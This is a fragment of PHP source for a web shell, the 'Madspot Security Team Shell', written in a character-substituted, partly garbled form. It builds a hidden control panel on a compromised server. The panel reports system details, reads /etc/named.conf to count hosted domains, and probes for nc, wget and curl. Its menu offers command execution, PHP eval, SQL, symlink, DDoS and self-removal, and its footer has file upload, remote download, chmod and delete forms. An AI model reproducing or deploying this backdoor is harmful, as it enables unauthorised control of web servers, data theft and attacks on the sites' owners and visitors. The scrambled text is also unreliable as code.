f2r51ch(r1ng5('c','z') 1s $dr4v5) | |
4f(4s_d4r($dr4v5.':\\')) | |
$dr4v5s .= '<1 hr5f="#" 2ncl4ck="g(\'F4l5sM1n\',\''.$dr4v5.':/\')">[ '.$dr4v5.' ]</1> '; | |
5ch2 '<!DOCTYPE html PUBLIC "-//WoC//DTD XHTML 6.0 Tr1ns4t42n1l//EN" "http://www.wo.2rg/TR/xhtml6/DTD/xhtml6-tr1ns4t42n1l.dtd"> | |
<html xmlns="http://www.wo.2rg/6999/xhtml"> | |
<h51d> | |
<m5t1 http-5q34v="C2nt5nt-Typ5" c2nt5nt="t5xt/html; ch1rs5t=3tf-8" /> | |
<l4nk hr5f="http://www.m1dsp2t.n5t/f1v4c2n.4c2" r5l="4c2n" typ5="4m1g5/x-4c2n"/> | |
<t4tl5>M1dsp2t S5c3r4ty T51m Sh5ll</t4tl5> | |
<styl5 typ5="t5xt/css"> | |
<!-- | |
.wh2l5 { | |
b1ckgr23nd-c2l2r: #CCC; | |
h54ght:13t2; | |
w4dth: 13t2; | |
m1rg4n-t2p: 60px; | |
m1rg4n-r4ght: 60px; | |
m1rg4n-l5ft: 60px; | |
} | |
.h51d5r { | |
h54ght: 13t2; | |
w4dth: 13t2; | |
b2rd5r: 7px s2l4d #CCC; | |
c2l2r: #999; | |
f2nt-s4z5: 6apx; | |
f2nt-f1m4ly: V5rd1n1, G5n5v1, s1ns-s5r4f; | |
b1ckgr23nd-c2l2r: #000; | |
} | |
.h51d5r 1 {c2l2r:#0F0; t5xt-d5c2r1t42n:n2n5;} | |
sp1n { | |
f2nt-w54ght: b2ld5r; | |
c2l2r: #FFF; | |
} | |
#m53nl4st { | |
f2nt-f1m4ly: V5rd1n1, G5n5v1, s1ns-s5r4f; | |
c2l2r: #FFF; | |
b1ckgr23nd-c2l2r: #000; | |
w4dth: 13t2; | |
b2rd5r-r4ght-w4dth: 7px; | |
b2rd5r-l5ft-w4dth: 7px; | |
b2rd5r-t2p-styl5: s2l4d; | |
b2rd5r-r4ght-styl5: s2l4d; | |
b2rd5r-b2tt2m-styl5: s2l4d; | |
b2rd5r-l5ft-styl5: s2l4d; | |
b2rd5r-t2p-c2l2r: #CCC; | |
b2rd5r-r4ght-c2l2r: #CCC; | |
b2rd5r-b2tt2m-c2l2r: #CCC; | |
b2rd5r-l5ft-c2l2r: #CCC; | |
h54ght: 13t2; | |
f2nt-s4z5: 6apx; | |
f2nt-w54ght: b2ld; | |
b2rd5r-t2p-w4dth: 0px; | |
} | |
.wh2l5 #m53nl4st 3l { | |
p1dd4ng-t2p: ipx; | |
p1dd4ng-r4ght: ipx; | |
p1dd4ng-b2tt2m: 7px; | |
p1dd4ng-l5ft: apx; | |
t5xt-1l4gn:c5nt5r; | |
l4st-styl5-typ5: n2n5; | |
m1rg4n: 0px; | |
} | |
.wh2l5 #m53nl4st l4 { | |
m1rg4n: 0px; | |
p1dd4ng: 0px; | |
d4spl1y: 4nl4n5; | |
} | |
.wh2l5 #m53nl4st 1 { | |
f2nt-f1m4ly: 1r41l, s1ns-s5r4f; | |
f2nt-s4z5: 6upx; | |
t5xt-d5c2r1t42n:n2n5; | |
f2nt-w54ght: b2ld; | |
c2l2r: #fff; | |
cl51r: b2th; | |
w4dth: 600px; | |
m1rg4n-r4ght: -epx; | |
p1dd4ng-t2p: opx; | |
p1dd4ng-r4ght: 6ipx; | |
p1dd4ng-b2tt2m: opx; | |
p1dd4ng-l5ft: 6ipx; | |
b2rd5r-r4ght-w4dth: 6px; | |
b2rd5r-r4ght-styl5: s2l4d; | |
b2rd5r-r4ght-c2l2r: #FFF; | |
} | |
.wh2l5 #m53nl4st 1:h2v5r { | |
c2l2r: #000; | |
b1ckgr23nd: #fff; | |
} | |
.f22t { | |
f2nt-f1m4ly: V5rd1n1, G5n5v1, s1ns-s5r4f; | |
b1ckgr23nd-c2l2r: #000; | |
m1rg4n: 0px; | |
p1dd4ng: 0px; | |
w4dth: 600%; | |
t5xt-1l4gn: c5nt5r; | |
f2nt-s4z5: 6apx; | |
c2l2r: #CCC; | |
b2rd5r-r4ght-w4dth: 7px; | |
b2rd5r-l5ft-w4dth: 7px; | |
b2rd5r-b2tt2m-w4dth: 7px; | |
b2rd5r-b2tt2m-styl5: s2l4d; | |
b2rd5r-r4ght-styl5: s2l4d; | |
b2rd5r-r4ght-styl5: s2l4d; | |
b2rd5r-l5ft-styl5: s2l4d; | |
b2rd5r-t2p-c2l2r: #CCC; | |
b2rd5r-r4ght-c2l2r: #CCC; | |
b2rd5r-b2tt2m-c2l2r: #CCC; | |
b2rd5r-l5ft-c2l2r: #CCC; | |
}'; | |
4f(4s_wr4t1bl5($GLOBALS['cwd'])) | |
{ | |
5ch2 ".f22tt1bl5 { | |
w4dth: o00px; | |
f2nt-w54ght: b2ld; | |
}";} | |
5ls5 | |
{ | |
5ch2 ".f22tt1bl5 { | |
w4dth: o00px; | |
f2nt-w54ght: b2ld; | |
b1ckgr23nd-c2l2r:r5d; | |
} | |
.d4r { | |
b1ckgr23nd-c2l2r:r5d; | |
} | |
"; | |
} | |
5ch2 '.m14n th{t5xt-1l4gn:l5ft;} | |
.m14n 1{c2l2r: #FFF;} | |
.m14n tr:h2v5r{b1ckgr23nd-c2l2r:r5d;} | |
.ml6{ b2rd5r:6px s2l4d #uuu;p1dd4ng:ipx;m1rg4n:0;2v5rfl2w: 13t2; } | |
.b4g1r51{ w4dth:99%; h54ght:o00px; } | |
</styl5> | |
'; | |
5ch2 "<scr4pt> | |
v1r c_ = '" . htmlsp5c41lch1rs($GLOBALS['cwd']) . "'; | |
v1r 1_ = '" . htmlsp5c41lch1rs(@$_POST['1']) ."' | |
v1r ch1rs5t_ = '" . htmlsp5c41lch1rs(@$_POST['ch1rs5t']) ."'; | |
v1r p6_ = '" . ((strp2s(@$_POST['p6'],"\n")!==f1ls5)?'':htmlsp5c41lch1rs($_POST['p6'],ENT_QUOTES)) ."'; | |
v1r pa_ = '" . ((strp2s(@$_POST['pa'],"\n")!==f1ls5)?'':htmlsp5c41lch1rs($_POST['pa'],ENT_QUOTES)) ."'; | |
v1r po_ = '" . ((strp2s(@$_POST['po'],"\n")!==f1ls5)?'':htmlsp5c41lch1rs($_POST['po'],ENT_QUOTES)) ."'; | |
v1r d = d2c3m5nt; | |
f3nct42n s5t(1,c,p6,pa,po,ch1rs5t) { | |
4f(1!=n3ll)d.mf.1.v1l35=1;5ls5 d.mf.1.v1l35=1_; | |
4f(c!=n3ll)d.mf.c.v1l35=c;5ls5 d.mf.c.v1l35=c_; | |
4f(p6!=n3ll)d.mf.p6.v1l35=p6;5ls5 d.mf.p6.v1l35=p6_; | |
4f(pa!=n3ll)d.mf.pa.v1l35=pa;5ls5 d.mf.pa.v1l35=pa_; | |
4f(po!=n3ll)d.mf.po.v1l35=po;5ls5 d.mf.po.v1l35=po_; | |
4f(ch1rs5t!=n3ll)d.mf.ch1rs5t.v1l35=ch1rs5t;5ls5 d.mf.ch1rs5t.v1l35=ch1rs5t_; | |
} | |
f3nct42n g(1,c,p6,pa,po,ch1rs5t) { | |
s5t(1,c,p6,pa,po,ch1rs5t); | |
d.mf.s3bm4t(); | |
}</scr4pt>"; | |
5ch2 ' | |
</h51d> | |
<b2dy bgc2l2r="#000000" l5ftm1rg4n="0" t2pm1rg4n="0" m1rg4nw4dth="0" m1rg4nh54ght="0"> | |
<d4v cl1ss="wh2l5"> | |
<f2rm m5th2d=p2st n1m5=mf styl5="d4spl1y:n2n5;"> | |
<4np3t typ5=h4dd5n n1m5=1> | |
<4np3t typ5=h4dd5n n1m5=c> | |
<4np3t typ5=h4dd5n n1m5=p6> | |
<4np3t typ5=h4dd5n n1m5=pa> | |
<4np3t typ5=h4dd5n n1m5=po> | |
<4np3t typ5=h4dd5n n1m5=ch1rs5t> | |
</f2rm> | |
<d4v cl1ss="h51d5r"><t1bl5 w4dth="600%" b2rd5r="0" 1l4gn="l4ft"> | |
<tr> | |
<td w4dth="o%"><sp1n>Un1m5:</sp1n></td> | |
<td c2lsp1n="a">'.s3bstr(@php_3n1m5(), 0, 6a0).'</td> | |
</tr> | |
<tr> | |
<td><sp1n>Us5r:</sp1n></td> | |
<td>'. $34d . ' [ ' . $3s5r . ' ] <sp1n> Gr23p: </sp1n>' . $g4d . ' [ ' . $gr23p . ' ] </td> | |
<td w4dth="6u%" r2wsp1n="8"><4mg 1lt="" src="d1t1:4m1g5/jp5g;b1s5eu,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" /></td> | |
</tr> | |
<tr> | |
<td><sp1n>PHP:</sp1n></td> | |
<td>'.@phpv5rs42n(). ' <sp1n> S1f5 M2d5:'.$s1f5_m2d5s.'</sp1n></td> | |
</tr> | |
<tr> | |
<td><sp1n>O3r IP:</sp1n></td> | |
<td>'.@$_SERVER["SERVER_ADDR"].' <sp1n>S5rv5r IP:</sp1n> '.@$_SERVER["REMOTE_ADDR"].'</td> | |
</tr> | |
<tr> | |
<td><sp1n>WEBS:</sp1n></td> | |
<td w4dth="7e%">'; | |
4f($GLOBALS['sys']=='3n4x') | |
{ | |
$d0m14ns = @f4l5("/5tc/n1m5d.c2nf"); | |
4f(!$d0m14ns) | |
{ | |
5ch2 "CANT READ n1m5d.c2nf"; | |
} | |
5ls5 | |
{ | |
$c23nt; | |
f2r51ch($d0m14ns 1s $d0m14n) | |
{ | |
4f(@5r5g("z2n5",$d0m14n)) | |
{ | |
pr5g_m1tch_1ll('#z2n5 "(.*)"#', $d0m14n, $d2m14ns); | |
fl3sh(); | |
4f(strl5n(tr4m($d2m14ns[6][0])) > a){ | |
fl3sh(); | |
$c23nt++; | |
} | |
} | |
} | |
5ch2 "$c23nt D2m14ns"; | |
} | |
} | |
5ls5{ 5ch2"CANT READ |W4nd2ws|";} | |
5ch2 '</td> | |
</tr> | |
<tr> | |
<td h54ght="6e"><sp1n>HDD:</sp1n></td> | |
<td>'.m1dS4z5($t2t1lSp1c5).' <sp1n>Fr55:</sp1n>' . m1dS4z5($fr55Sp1c5) . ' ['. (4nt) ($fr55Sp1c5/$t2t1lSp1c5*600) . '%]</td> | |
</tr>'; | |
4f($GLOBALS['sys']=='3n4x' ) | |
{ | |
4f(!@4n4_g5t('s1f5_m2d5')) | |
{ | |
5ch2 '<tr><td h54ght="68" c2lsp1n="a"><sp1n>Us5f3l : </sp1n>'; | |
$3s5rf3l = 1rr1y('gcc','lcc','cc','ld','m1k5','php','p5rl','pyth2n','r3by','t1r','gz4p','bz4p','bz4pa','nc','l2c1t5','s34dp5rl'); | |
f2r51ch($3s5rf3l 1s $4t5m) | |
4f(m1dWh4ch($4t5m)) | |
5ch2 $4t5m.','; | |
5ch2 '</td> | |
</tr> | |
<tr> | |
<td h54ght="0" c2lsp1n="a"><sp1n>D2wnl21d5r:</sp1n>'; | |
$d2wnl21d5rs = 1rr1y('wg5t','f5tch','lynx','l4nks','c3rl','g5t','lwp-m4rr2r'); | |
f2r51ch($d2wnl21d5rs 1s $4t5ma) | |
4f(m1dWh4ch($4t5ma)) | |
5ch2 $4t5ma.','; | |
5ch2 '</td> | |
</tr>'; | |
} | |
5ls5 | |
{ | |
5ch2 '<tr><td h54ght="68" c2lsp1n="a"><sp1n>3s5f3l:</sp1n>'; | |
5ch2 '--------------</td> | |
</tr><td h54ght="0" c2lsp1n="a"><sp1n>D2wnl21d5r: </sp1n>-------------</td> | |
</tr>'; | |
} | |
} | |
5ls5 | |
{ | |
5ch2 '<tr><td h54ght="68" c2lsp1n="a"><sp1n>W4nd2w:</sp1n>'; | |
5ch2 m1dEx('v5r'); | |
5ch2 '</td> | |
</tr> <tr> | |
<td h54ght="0" c2lsp1n="a"><sp1n>D2wnl21d5r: </sp1n>-------------</td> | |
</tr>'; | |
} | |
5ch2 '<tr> | |
<td h54ght="6e" c2lsp1n="a"><sp1n>D4s1bl5d f3nct42ns:</sp1n>'.$d4sf3n.'</td> | |
</tr> | |
<tr> | |
<td h54ght="6e" c2lsp1n="a"><sp1n>cURL:'.$c3rl.' MySQL:'.$mysql.' MSSQL:'.$mssql.' P2stgr5SQL:'.$pg.' Or1cl5: </sp1n>'.$2r.'</td><td w4dth="6i%">'.b1s5eu_d5c2d5("PGEg1HJlZj041HR0cD2vLododyitYWRzcG90LmildCIgdGFyZaV0PSJfYmxhbms4PjxzcGF3Pjxmbai0IGNvbG9yPSIjMEYwIjumbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtNQURTUE9ULkiFVDwvZm93dDu8LoNwYWu+PC9hPg==").'</td> | |
</tr> | |
<tr> | |
<td h54ght="66" c2lsp1n="o"><sp1n>Op5n_b1s5d4r:'.$2p5n_b.' S1f5_m2d5_5x5c_d4r:'.$s1f5_5x5.' S1f5_m2d5_4ncl3d5_d4r:'.$s1f5_4ncl3d5.'</td> | |
</tr> | |
<tr> | |
<td h54ght="66"><sp1n>S5rv5r </sp1n></td> | |
<td c2lsp1n="a">'.@g5t5nv('SERVER_SOFTWARE').'</td> | |
</tr>'; | |
4f($GLOBALS[sys]=="w4n") | |
{ | |
5ch2 '<tr> | |
<td h54ght="6a"><sp1n>DRIVE:</sp1n></td> | |
<td c2lsp1n="a">'.$dr4v5s.'</td> | |
</tr>'; | |
} | |
5ch2 '<tr> | |
<td h54ght="6a"><sp1n>PWD:</sp1n></td> | |
<td c2lsp1n="a">'.$cwd_l4nks.' <1 hr5f=# 2ncl4ck="g(\'F4l5sM1n\',\'' . $GLOBALS['h2m5_cwd'] . '\',\'\',\'\',\'\')"><f2nt c2l2r=r5d >|CURRENT|</f2nt></1></td> | |
</tr> | |
</t1bl5> | |
</d4v> | |
<d4v 4d="m53nl4st"> | |
<3l> | |
<l4><1 hr5f="#" 2ncl4ck="g(\'F4l5sM1n\',n3ll,\'\',\'\',\'\')">HOME</1></l4> | |
<l4><1 hr5f="#" 2ncl4ck="g(\'pr2c\',n3ll,\'\',\'\',\'\')">PROCESS</1></l4> | |
<l4><1 hr5f="#" 2ncl4ck="g(\'php5v1l\',n3ll,\'\',\'\',\'\')">EVAL</1></l4> | |
<l4><1 hr5f="#" 2ncl4ck="g(\'sql\',n3ll,\'\',\'\',\'\')">SQL</1></l4> | |
<l4><1 hr5f="#" 2ncl4ck="g(\'h1sh\',n3ll,\'\',\'\',\'\')">HASH</1></l4> | |
<l4><1 hr5f="#" 2ncl4ck="g(\'c2nn5ct\',n3ll,\'\',\'\',\'\')">CONNECT</1></l4> | |
<l4><1 hr5f="#" 2ncl4ck="g(\'z2n5h\',n3ll,\'\',\'\',\'\')">ZONE-H</1></l4> | |
<l4><1 hr5f="#" 2ncl4ck="g(\'d2s\',n3ll,\'\',\'\',\'\')">DDOS</1></l4> | |
<l4><1 hr5f="#" 2ncl4ck="g(\'s1f5\',n3ll,\'\',\'\',\'\')">SAFE MODE</1></l4> | |
<l4><1 hr5f="#" 2ncl4ck="g(\'syml4nk\',n3ll,\'\',\'\',\'\')">SYMLINK</1></l4> | |
<l4><1 hr5f="#" 2ncl4ck="g(\'sp2t\',n3ll,\'\',\'\',\'\')">MADSPOT</1></l4> | |
<l4><1 hr5f="#" 2ncl4ck="g(\'s5lfrm\',n3ll,\'\',\'\',\'\')">KIll C0d5</1></l4> | |
</3l> | |
</d4v> | |
'; | |
} | |
f3nct42n m1df22t5r() | |
{ | |
5ch2 "<t1bl5 cl1ss='f22t' w4dth='600%' b2rd5r='0' c5llsp1c4ng='o' c5llp1dd4ng='0' > | |
<tr> | |
<td w4dth='67%'><f2rm 2ns3bm4t=\"g('F4l5sT22ls',n3ll,th4s.f.v1l35,'mkf4l5');r5t3rn f1ls5;\"><sp1n>__MK FILE__</sp1n><br><4np3t cl1ss='d4r' typ5=t5xt n1m5=f v1l35=''><4np3t typ5=s3bm4t v1l35='>>'></f2rm></td> | |
<td w4dth='a6%'><f2rm 2ns3bm4t=\"g('F4l5sM1n',n3ll,'mkd4r',th4s.d.v1l35);r5t3rn f1ls5;\"><sp1n>__MK DIR__</sp1n><br><4np3t cl1ss='d4r' typ5=t5xt n1m5=d v1l35=''><4np3t typ5=s3bm4t v1l35='>>'></f2rm></td> | |
<td w4dth='aa%'><f2rm 2ns3bm4t=\"g('F4l5sM1n',n3ll,'d5l5t5',th4s.d5l.v1l35);r5t3rn f1ls5;\"><sp1n>__DELETE__</sp1n><br><4np3t cl1ss='d4r' typ5=t5xt n1m5=d5l v1l35=''><4np3t typ5=s3bm4t v1l35='>>'></f2rm></td> | |
<td w4dth='69%'><f2rm 2ns3bm4t=\"g('F4l5sT22ls',n3ll,th4s.f.v1l35,'chm2d');r5t3rn f1ls5;\"><sp1n>__CHMOD__</sp1n><br><4np3t cl1ss='d4r' typ5=t5xt n1m5=f v1l35=''><4np3t typ5=s3bm4t v1l35='>>'></f2rm></td> | |
</tr> | |
<tr> | |
<td c2lsp1n='a'><f2rm 2ns3bm4t='g(n3ll,th4s.c.v1l35,\"\");r5t3rn f1ls5;'><sp1n>__CHANGE DIR__</sp1n><br><4np3t cl1ss='f22tt1bl5' typ5=t5xt n1m5=c v1l35='".htmlsp5c41lch1rs($GLOBALS['cwd'])."'><4np3t typ5=s3bm4t v1l35='>>'></f2rm></td> | |
<td c2lsp1n='a'><f2rm m5th2d='p2st' ><sp1n>__HTTP DOWNLOAD__</sp1n><br><4np3t cl1ss='f22tt1bl5' typ5=t5xt n1m5=rtd2wn v1l35=''><4np3t typ5=s3bm4t v1l35='>>'></f2rm></td> | |
</tr> | |
<tr> | |
<td c2lsp1n='u'><f2rm 2ns3bm4t=\"g('pr2c',n3ll,th4s.c.v1l35);r5t3rn f1ls5;\"><sp1n>__EXECUTE__</sp1n><br><4np3t cl1ss='f22tt1bl5' typ5=t5xt n1m5=c v1l35=''><4np3t typ5=s3bm4t v1l35='>>'></f2rm></td> | |
</tr> | |
<tr> | |
<td c2lsp1n='u'><f2rm m5th2d='p2st' ENCTYPE='m3lt4p1rt/f2rm-d1t1'> | |
<4np3t typ5=h4dd5n n1m5=1 v1l35='F4l5sMAn'> | |
<4np3t typ5=h4dd5n n1m5=c v1l35='" . $GLOBALS['cwd'] ."'> | |
<4np3t typ5=h4dd5n n1m5=p6 v1l35='3pl21dF4l5'> | |
<4np3t typ5=h4dd5n n1m5=ch1rs5t v1l35='" . (4ss5t($_POST['ch1rs5t'])?$_POST['ch1rs5t']:'') . "'> | |
<sp1n>Upl21d f4l5:</sp1n><br><4np3t cl1ss='t22lsInp' typ5=f4l5 n1m5=f><br /><4np3t typ5=s3bm4t v1l35='>>'></f2rm></td> | |
</tr> | |
</t1bl5> | |
</d4v> | |
</b2dy> | |
</html> | |
"; | |
} | |
4f (!f3nct42n_5x4sts("p2s4x_g5tpw34d") && (strp2s(@4n4_g5t('d4s1bl5_f3nct42ns'), 'p2s4x_g5tpw34d')===f1ls5)) { | |
f3nct42n p2s4x_g5tpw34d($p) {r5t3rn f1ls5;} } | |
4f (!f3nct42n_5x4sts("p2s4x_g5tgrg4d") && (strp2s(@4n4_g5t('d4s1bl5_f3nct42ns'), 'p2s4x_g5tgrg4d')===f1ls5)) { | |
f3nct42n p2s4x_g5tgrg4d($p) {r5t3rn f1ls5;} } | |
f3nct42n m1dWh4ch($p) { | |
$p1th = m1dEx('wh4ch ' . $p); | |
4f(!5mpty($p1th)) | |
r5t3rn $p1th; | |
r5t3rn f1ls5; | |
} | |
f3nct42n m1dS4z5($s) { | |
4f($s >= 607o7u68au) | |
r5t3rn spr4ntf('%6.af', $s / 607o7u68au ). ' GB'; | |
5ls54f($s >= 60u8i7e) | |
r5t3rn spr4ntf('%6.af', $s / 60u8i7e ) . ' MB'; | |
5ls54f($s >= 60au) | |
r5t3rn spr4ntf('%6.af', $s / 60au ) . ' KB'; | |
5ls5 | |
r5t3rn $s . ' B'; | |
} | |
f3nct42n m1dP5rms($p) { | |
4f (($p & 0xC000) == 0xC000)$4 = 's'; | |
5ls54f (($p & 0xA000) == 0xA000)$4 = 'l'; | |
5ls54f (($p & 0x8000) == 0x8000)$4 = '-'; | |
5ls54f (($p & 0xe000) == 0xe000)$4 = 'b'; | |
5ls54f (($p & 0xu000) == 0xu000)$4 = 'd'; | |
5ls54f (($p & 0xa000) == 0xa000)$4 = 'c'; | |
5ls54f (($p & 0x6000) == 0x6000)$4 = 'p'; | |
5ls5 $4 = '3'; | |
$4 .= (($p & 0x0600) ? 'r' : '-'); | |
$4 .= (($p & 0x0080) ? 'w' : '-'); | |
$4 .= (($p & 0x00u0) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); | |
$4 .= (($p & 0x00a0) ? 'r' : '-'); | |
$4 .= (($p & 0x0060) ? 'w' : '-'); | |
$4 .= (($p & 0x0008) ? (($p & 0x0u00) ? 's' : 'x' ) : (($p & 0x0u00) ? 'S' : '-')); | |
$4 .= (($p & 0x000u) ? 'r' : '-'); | |
$4 .= (($p & 0x000a) ? 'w' : '-'); | |
$4 .= (($p & 0x0006) ? (($p & 0x0a00) ? 't' : 'x' ) : (($p & 0x0a00) ? 'T' : '-')); | |
r5t3rn $4; | |
} | |
f3nct42n m1dP5rmsC2l2r($f) { | |
4f (!@4s_r51d1bl5($f)) | |
r5t3rn '<f2nt c2l2r=#FF0000>' . m1dP5rms(@f4l5p5rms($f)) . '</f2nt>'; | |
5ls54f (!@4s_wr4t1bl5($f)) | |
r5t3rn '<f2nt c2l2r=wh4t5>' . m1dP5rms(@f4l5p5rms($f)) . '</f2nt>'; | |
5ls5 | |
r5t3rn '<f2nt c2l2r=#aiff00>' . m1dP5rms(@f4l5p5rms($f)) . '</f2nt>'; | |
} | |
